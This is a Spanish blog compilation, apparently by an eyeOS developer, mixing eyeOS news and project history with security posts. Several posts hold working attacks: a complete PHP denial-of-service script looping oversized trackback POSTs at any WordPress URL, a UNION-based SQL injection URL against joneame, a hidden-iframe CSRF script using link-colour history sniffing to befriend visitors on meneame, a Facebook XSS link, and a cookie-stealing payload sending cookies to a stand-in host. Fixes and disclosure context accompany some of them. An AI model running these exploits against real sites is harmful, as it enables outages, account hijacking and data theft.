eyeOS Libera su pieza de innovación mas importante

Como muchos ya sabeis, eyeOS fue adquirido por telefónica en 2014. Desde entonces hemos estado trabajando muy muy duro para crear servicios y productos de calidad.

Quizás no hemos hecho tanto ruido como antes, quizás no hemos sido tan comunicativos pero desde nuestras oficinas en la Rambla de Barcelona hemos seguido trabajando e innovando.

Desde hace mucho tiempo eyeOS se dedica a la virtualización remota de aplicaciones en páginas web, es decir, a convertir en páginas web a Microsoft office, Libreoffice, KDE, Outlook, etc.

Para conseguirlo, usamos un stack de tecnologías libres como OpenStack, KVM, etc. La forma en la que conseguimos dibujar las aplicaciones en un navegador con un rendimiento y experiencia tan buena es usando un protocolo de escritorio remoto llamado SPICE, publicado por Red Hat en 2010.

La idea detrás de SPICE es basicamente ejecutar la aplicación en un servidor y pintarla en otro ordenador a través de internet, pero en lugar de mandar imagenes o capturas de partes de la interfaz gráfica de la aplicación, crea una tarjeta gráfica remota y reenvia las ordenes de pintado hacía el cliente, que es quien las procesa.

Sin embargo, hasta ahora solo existía una pequeña prueba de concepto de usar este protocolo simplemente con un navegador, pero era muy limitada, basicamente el experimento de un desarrollador.

Durante 2 años en eyeOS hemos desarrollado y mejorado nuestra implementación de este protocolo que permite basicamente acceder remotamente a sesiones de escritorio de windows linux desde chrome, firefox o internet explorer, sin instalar nada.

Hoy en día usamos nuestra implementación de SPICE en HTML5 para todos nuestros productos que vendemos, así que hemos decidido liberar bajo la licencia AGPL este componente que puede ser de gran ayuda para la consola web de OpenStack o para cualquier otra cosa.

De esta forma, queremos volver a aportar al mundo del software libre y recuperar parte de nuestra esencia.

La url del repositorio es: https://github.com/eyeos/spice-web-client

Todos los comentarios son bienvenidos!

Nueva dirección del blog

Hola,

Este post es solo para recordar a los que aun no hayan actualizado sus lectores RSS que el blog ha continuado en www.rooibo.com y que aquí no se continúan agregando entradas nuevas.

Gracias.

Cambio de la dirección del blog

Después de algunos meses sin escribir ningún artículo, tengo preparados varios temas interesantes.

Sin embargo, antes de continuar publicando nada, he decidido crear mi propio dominio y dejar de estar bajo el control de wordpress.com, el cual me ha parecido un servicio excelente durante todo el tiempo que me he alojado aquí.

La nueva dirección del blog es: http://www.rooibo.com/

Y a partir de ahora no voy a publicar nada mas aquí, ya que todo el nuevo contenido, irá a la nueva dirección. He pasado todos los pots de este blog al nuevo, y he usado el mismo theme de wordpress, en realidad, casi no cambia nada, solo la dirección .

No olvidéis actualizar vuestros RSS.

Agujero de seguridad muy grave en WordPress

Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.

Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.

Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.

Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.

Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.

Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).

Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.

El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:

if ( function_exists(‘mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(‘blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(‘blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(‘blog_charset’), $charset);
}

Y $charset viene a través de $_POST[‘charset’], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);

Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:

$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);

mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.

Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.

El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:

<?php
//wordpress Resource exhaustion Exploit
//https://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo «You need to specify a url to attack\n»;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo «The url should have http:// in front of it, and should be complete.\n»;
exit;
}

if(count($data) == 2) {
$path = »;
} else {
$path = $data[‘path’];
}
$path = trim($path,’/’);
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = «»;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = «»;
$charset = str_pad($charset,140000,»UTF-8,»);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;

$count = 0;
while(1) {
$fp = @fsockopen($data[‘host’],80);
if(!$fp) {
if($count > 0) {
echo «down!!!!\n»;
exit;
}
echo «unable to connect to: «.$data[‘host’].»\n»;
exit;
}

fputs($fp, «POST $path HTTP/1.1\r\n»);
fputs($fp, «Host: «.$data[‘host’].»\r\n»);
fputs($fp, «Content-type: application/x-www-form-urlencoded\r\n»);
fputs($fp, «Content-length: «.strlen($str).»\r\n»);
fputs($fp, «Connection: close\r\n\r\n»);
fputs($fp, $str.»\r\n\r\n»);

echo «hit!\n»;
$count++;
}

?>

Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST[‘charset’]. WordPress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST[‘charset’] y comprobar que no sea un array, con !is_array.

Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:

$charset = $_POST[‘charset’];

Y cambiarla por:

$charset = str_replace(«,»,»»,$_POST[‘charset’]);
if(is_array($charset)) { exit; }

Y se soluciona el problema.

Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.

Actualización: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.

Que es un gusano web y cómo funciona

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito http://www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href=’www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie;</script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

Si aprecias tu privacidad, no utilices joneame

Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y mucho menos aún, que solo esté permitido críticar a uno, y al otro no. Así que ahí va 🙂

Como muchos sabréis, joneame es un clon de meneame, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.

Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.

Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.

Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.

El agujero está en backend/ezbatu_mezua.php, aquí:

$id = $_REQUEST[‘mid’];
$nondik = $_REQUEST[‘mota’];

$mezua = new Mezu;
$mezua->id = $current_user->user_id;
$mezua->jaso_mezua($id, $nondik);

Este fichero lee un mensaje privado dado su id, (el parámetro ‘mid’), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:

function jaso_mezua($zein, $nondik) {
global $db;

if ($nondik == ‘inbox’)
$mezu = $db->get_row(«SELECT * FROM mezuak WHERE nori=».$this->id.» AND id=».$zein.» LIMIT 1″);

Siendo $zein el parametro ‘mid’ que entró por la URL, sin sanear.

Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=NUMERO_DE_MENSAJE_AQUI&mota=inbox

Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=-99%20union%20select%20chat_uid,2,chat_uid,4,chat_text,6,7%20from%20chats%20where%20chat_room%20=%20%27admin%27%20and%20chat_uid%20!=%2041%20and%20chat_uid%20!=%20213%20and%20chat_uid%20!=%2034&mota=outbox&eg=0

Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.

Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).

Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106

Utilizando un servicio público de dns inverso:

http://whois.webhosting.info/87.98.228.106

Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.

Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.

Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.

Scripts para autoamigar en menéame

Para los que no lo sepan, meneame es una web de noticias, donde la gente envía y vota noticias, y las mas votadas pasan a portada.

Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como «amigos». Marcar como amigo en el meneame, significa que esa persona leerá lo que escribas en la fisgona (el chat de meneame), aún y cuando lo que escribas, lo marques para ser leído solo por tus amigos.

De esta forma, mucha gente sabe que marcando solo a sus amigos, puede mantener conversaciones relativamente privadas dentro de la fisgona (el chat global de meneame) aún y cuando cualquiera puede ver la fisgona.

Para hacer que alguien sea tu amigo, basta con visitar una URL tal como:

http://meneame.net/backend/get_friend.php?id=ID_DE_USUARIO_DE_OTRO&p=0&type=TU_ID_DE_USUARIO

Y de hecho, esa es la dirección que se visita, cuando haces clic en el corazoncito de alguien, para hacerlo tu amigo en meneame.

El hecho de que necesites pasar tu id de usuario, pese a que ya estás autenticado en meneame, se hace para evitar que alguien te redirija a una URL como esa, produciendo que agregues a gente como amiga en el meneame, solo por entrar a un web de terceros.

Este tipo de ataques se conocen como CSRF.

Por ejemplo, si mi id es 31337, yo podría redigir a mis visitantes a:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=TU_ID_DE_USUARIO

Para que se hagan mis amigos en meneame, nada mas entrar en mi web, sin embargo, no puedo hacerlo, por que yo no se el id de meneame del visitante que entra a mi web.

Sin embargo, esto se puede solventar de forma bastante fácil, como todos sabemos, los navegadores web permiten marcar de un color los links visitados, y de otro los links no visitar (a:visited, a:link en CSS).

Pues bien, podemos usar esa funcionalidad del navegador, para crear links en nuestras web apuntando a otros sitios, y luego comprobar con javascript, de que color son, de esa forma podemos saber si el visitante ha visitado esas web o no.

Pues bien, para descubrir el ID de meneame de nuestro visitante, basta con saber que en meneame todo usuario tiene disponible un RSS con sus conversaciones, ese RSS es una url tal como:

http://meneame.net/comments_rss2.php?answers_id=ID_DEL_USUARIO

Entonces, sabiendo que en meneame hay menos de 120.000 usuarios registrados (creo, tampoco es importante, es un experimento esto), podemos crear un bucle, que vía javascript genere enlaces hacia:

http://meneame.net/comments_rss2.php?answers_id=X

Empezando por X = 0, y terminado por X = 120.000, si tenemos suerte y el usuario utiliza el RSS de sus conversaciones, en una vuelta del bucle, uno de los links, estará de distinto color, ya que la URL habrá sido visitada por el usuario con anterioridad, y con eso, tendremos su ID en meneame.

Una vez con eso, podemos generar un iframe para visitar una url tipo:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=X

Siendo X el ID que hemos obtenido con la técnica de arriba.

Ahora el visitante, ya es amigo nuestro en meneame, sin que el vea nada 🙂

Como se puede observar, es una mala idea utilizar el id de usuario como medida anti CSRF, tal y como se hace en algunos sitios en meneame, hay que tener en cuenta que esto se puede utilizar de forma mas malevola, para auto-votar tus comentarios con cada visitante que entre a tu web, por ejemplo, ya que los votos a comentarios se hacen también con el ID como medida para evitar el CSRF.

Si queréis ver una prueba real utilizando esto, he montado una web:

demo

Que al visitarla te hace amigo mio en meneame automáticamente, el código es algo así:

function checkUrls(start) {
var url = «http://meneame.net/comments_rss2.php?conversation_id=»;
var obj = document.createElement(‘a’);
obj.setAttribute(‘href’,url);
document.getElementById(‘area’).appendChild(obj);
for(i=start;i<start+1000;i++) {
obj.setAttribute(‘href’,url+i);
var cmstyle = document.defaultView.getComputedStyle(obj,null);
if(cmstyle) {
if(cmstyle.color == ‘rgb(0, 0, 0)’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’,’http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2’).appendChild(frame);
i = 120001
}
} else {
var color = obj.currentStyle.color;
if(color == ‘#000000’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’,’http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2’).appendChild(frame);
i = 120001;
}
}
}
if(i < 120001) {
setTimeout(‘checkUrls(‘+i+’);’,100);
}
}

Pero se ve mejor entrando a la demo, y dandole a ver código fuente.

Nota importante: esto no tiene una efectividad del 100%, ya que puede que el usuario no visite su RSS de conversaciones, o visite el RSS de conversaciones de otro usuario.

Agujero de seguridad en facebook

Hace unos días, hablando con un amigo, le expliqué que a mi parecer, todas las redes sociales son inseguras, que ninguna brinda la suficiente seguridad, como para que yo depositase en ella mis datos, y que por lo tanto, por eso no utilizo facebook, ni nada similar.

Mi amigo, me respondió que facebook era muy seguro, que con los millones de personas que lo usan, seguro que muchos expertos lo habían auditado, a lo que yo le contesté que no se fiase de eso, que sistemas mas grandes, como windows, tienen muchos agujeros de seguridad, y que la seguridad no depende del número de usuarios del sistema.

Al final, todo ello desembocó en una mini discusión y finalmente, en una apuesta. Apostamos a ver si yo era capaz de descubrir un agujero de seguridad en facebook, lo suficientemente peligroso, como para robar información o incluso suplantar a un usuario normal.

Pues bien, hoy, después de solo unas cuantas horas mirando facebook, ya he encontrado el primer agujero de seguridad, un XSS que a priori no parecía explotable, pero que al final, con un poco de picaresca, he conseguido explotar.

El bug consiste en un enlace especialmente preparado, que si el usuario entra, verá su facebook, sin trampa ni cartón, pero en el centro, tendrá un texto que le dice que ha habido un error, y que haga click ahí para continuar, si lo hace, podremos ejecutar código Javascript en el contexto de facebook, y con ello, robar su cookie, por ejemplo.

Es un XSS normal y corriente, pero que requiere que el usuario siga un enlace, lo cual reduce un poco el % de éxito y la peligrosidad, ya que un usuario experto, vería el truco.

El bug reside en ciertas aplicaciones de facebook, hasta donde he podido averiguar, es decir, el usuario debe tener instalado en su facebook, una aplicación, las típicas de encuestas y cosas de esas, una vez con la aplicación instalada y autorizada, este bug solo funciona en algunas aplicaciones, por lo que la forma de proceder es la siguiente:

1. Mirar que aplicaciones tiene instaladas tu amigo, y ver si alguna está afectada por el bug
2. Si no tiene ninguna, invitarle a que use alguna que sabes que está afectada por el bug, esto es muy fácil
3. Una vez el usuario tiene la aplicación afectada instalada, ya podemos proceder.

Ojo, no estamos hablando de una aplicación maligna creada por nosotros, sino de aplicaciones normales y corrientes, de las que usa la gente, las cuales algunas, son inseguras.

Una vez nuestro amigo tiene alguna aplicación vulnerable instalada, solo necesitamos que visite un enlace especialmente preparado, que le mostrará un mensaje de error, y le pedirá que haga click para continuar, ese enlace, es el XSS, que de hacer click, podría permitir robar la cookie, y enviarla a un sitio de terceros.

Yo he hecho la prueba con la aplicación «EreS BuEn PoLvO?» (lo siento, es la primera que vi vulnerable), y el enlace con el XSS, es el que sigue:

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:alert(document.cookie);%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3E%3Ch1%20style=%22color:red;position:relative;left:-60px;%22%3EA%20ocurrido%20un%20error,%20haz%20click%20aqu%C3%AD%20para%20volver%3C/h1%3E%3C/center%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C/a%3E%3Cspan%20style=%22

En este ejemplo, el enlace es totalmente inofensivo, si hacemos click en el texto «se ha producido un error…» solo veremos nuestra cookie en un pop up del navegador, pero nuestra cookie no se envía a ningún sitio.

Bastaría con modificar el alert, por un document.location para pasar la cookie a un sitio de terceros.

Como se puede ver, ninguna red social es segura, cualquiera con tiempo, paciencia e imaginación puede aprovecharse de cualquier cosa para suplantarte o robar tu identidad, cuando tu solo has hecho 2 clicks que parecían inofensivos.

Evidentemente, he notificado este agujero a facebook, por lo que en poco tiempo es probable que deje de funcionar (si es que hacen caso).

Para los escepticos: si os parece que esto es poco peligroso (robar la cuenta de alguien con 2 clicks de la victima) lo tenéis muy fácil: salid del blog y seguid con vuestras vidas, esto es un blog de seguridad informática (y frikadas), por lo que poner comentarios diciendo que un XSS no sirve para nada, solo conllevará la eliminación de los mismos.

La historia de eyeOS en imagenes

Seguramente todos los que habitualmente leéis este blog, sabréis que trabajo como desarrollador en el proyecto eyeOS, pero la mayoría no sabréis mucho mas que esto sobre el proyecto.

Algunos, habréis entrado a mirar a la demo que tenemos, otros habréis visitado la página del proyecto, o incluso alguno, se habrá bajado el código, sin embargo, muy pocos conocerán la historia que se esconde detrás de este proyecto español…

eyeOS es un proyecto de software libre, que desarrolla un escritorio virtual online, o también conocido como webtop, además de un conjunto de apis y librerías del sistema, para desarrollar aplicaciones dentro del webtop, con una arquitectura definida, eso es lo que es en la actualidad, pero lo interesante que quiero abordar en este post, es como ha llegado a eso, y como ha sido la vida del proyecto y la gente que lo rodea.

eyeOS nació en Olesa de Montserrat, un pequeño pueblo de los alrededores de Barcelona, en el cual, Pau Garcia-Milà tubo la idea de crear una web, que realmente fuese un escritorio, en el cual tu pudieses acceder a tus documentos, siempre y cuando, tuvieses acceso a la web. Por aquel entonces, Pau era un joven de 16 o 17 años, estudiante, con muchas ideas en la cabeza, y que programaba pequeñas cosas en sus ratos libres.

Empezó a darle vueltas a la idea, y al poco tiempo estaba trabajando, creando la que sería la primera versión de eyeOS, escogió programarlo en PHP (por aquel entonces, PHP4), al poco tiempo, se le unieron David Plaza y Marc Cercós, ambos diseñadores gráficos de Olesa.

El día 31 Julio del 2005, vio la luz la primera versión de eyeOS, numerada como 0.6.0.

eyeOS 0.6.0

Técnicamente esta versión era muy, pero que muy limitada, no podía ejecutar mas de una aplicación a la vez, no tenía ningún tipo de API unificada ni nada, sin embargo, lo que para unos eran unos cuantos centenares de lineas en PHP y XHTML, para muchos otros, era el principio de una idea que cambiaría la forma que tenemos de ver la informática… el tiempo, como veremos mas adelante, le dió la razón a uno de los dos…

Un detalle curioso de la 0.6.0 es que no tenía instalador, venía con usuario root, y password ‘r’ por defecto, había que entrar y cambiarla en primer inicio de sessión.

En esta primera versión, el trabajo de desarrollo, fue completamente de Pau, ya que no había ningún otro programador relacionado con el proyecto, y el trabajo de diseño gráfico, era básicamente de David Plaza, ya que Marc, aún estaba aprendiendo.

La licencia, fue desde el primer momento GPL, una de las cosas que Pau siempre tubo claras, es que eyeOS sería libre, no se bien bien por que, pero nunca tubo ningún tipo de duda entorno a esto, al final, los acontecimientos le demostraron que estaba en lo correcto.

Continuaron saliendo revisiones con arreglos, de eyeOS 0.6.0, hasta el 15 de agosto del mismo año, que vio la luz la versión 0.7.0:

eyeOS 0.7.0

Esta versión era básicamente una 0.6.0 mejorada, las ventanas tenían ya por fin botones minimizar y maximizar, y se podían redimensionar usando la esquina inferior derecha. En general, durante todo este tiempo, eyeOS no fue cambiando mucho, solo se iban agregando cosas pequeñas.

Y no fue hasta el 6 de septiembre del mismo año, que las cosas empezaron a cambiar…apareció la versión 0.8 del proyecto, por primera vez, con colaboración de un programador externo, que decidió colaborar altruistamente, Antoni Segura.

Otro programador externo, que empezaba a mirar el proyecto, a opinar y que posteriormente, colaboraría muy activamente, programando partes muy importantes del sistema, fue Hans B. Pufal, un francés informático de la vieja escuela, con experiencia en proyectos de software libre tan variados como NetBSD y GNU Tar.

Esta nueva versión incluía por fin, un instalador, en lugar de una contraseña de root por defecto, además, era posible abrir mas de una aplicación a la vez, aunque cada vez que abrías una aplicación nueva, se recargaban todas, pero era un principio.

eyeOS 0.8.0

Por aquel entonces, Marc continuaba aprendiendo, y poco a poco, iría tomando mas protagonismo en el proyecto, como diseñador principal, aunque de momento, el diseñador principal era David Plaza.

La versión 0.8.x de eyeOS, vivió durante mucho tiempo, hasta abril del 2006, con continuas versiones de revisión, mejoras etc, como por ejemplo la 0.8.8 donde se agregaron muchísimas mejoras técnicas y visuales.

eyeOS 0.8.8

Durante todas estas revisiones y versiones de eyeOS 0.8.0, se fueron agregando traducciones del sistema, manuales, documentación, etc, y así, poco a poco, pasó de ser una idea, a ser un proyecto de software libre, o al menos, a empezar a serlo, pues a aun le quedaba un largo camino por delante.

El día 8 de Junio del 2006, vio la luz la versión 0.9.0 de eyeOS, con Hans colaborando de forma muy activa, programando colaborativamente con Pau, y Marc cada vez mas inmerso en el diseño de eyeOS, tomando mas y mas responsabilidades y encaminándose a ser el diseñador gráfico principal del proyecto.

eyeOS 0.9

